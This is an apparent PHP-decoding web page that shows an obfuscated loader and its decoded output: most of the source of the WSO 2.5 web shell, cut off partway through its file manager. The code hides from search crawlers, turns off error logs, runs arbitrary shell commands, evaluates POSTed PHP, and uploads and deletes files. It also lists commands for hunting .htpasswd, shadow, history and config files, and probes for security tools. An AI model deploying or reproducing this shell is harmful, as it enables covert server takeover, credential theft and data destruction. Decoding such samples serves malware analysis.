Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $rhHBV = 's'.'tr'.'_r'.'ot13'; $UspwG = 'b'.'ase6'.'4'.'_d'.'eco'.'de'; ini_set('err..

Decoded Output download

<br>   

if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
if (!function_exists('iconv') && function_exists('mb_convert_encoding')) {
	function iconv($from_encoding, $to_encoding, $string){
		return mb_convert_encoding($string, $to_encoding, $from_encoding);
	}
}
if (!function_exists('iconv')) {
	function iconv($from_encoding, $to_encoding, $string){
		return html_entity_decode(htmlentities($string, ENT_QUOTES, $from_encoding), ENT_QUOTES , $to_encoding);
	}
}

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
	@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(function_exists("get_magic_quotes_gpc")){
	if(get_magic_quotes_gpc()) {
		function WSOstripslashes($array) {
			return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
		}
		$_POST = WSOstripslashes($_POST);
		$_COOKIE = WSOstripslashes($_COOKIE);
	}
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';


$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
		//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan', 'Console'=>'Console','Sql'=>'Sql', 'UPdate/UPgrade' => 'UPDate', 'Php'=>'Php', 'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v){
		if($k == 'UPdate/UPgrade'){
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')"><font color="#25ff00">'.$k.'</font></a> ]</th>';
		}else{
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
		}
	}
	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		if(function_exists('posix_getpwuid')){
			$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		}else{
			$ow = '';
		}
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
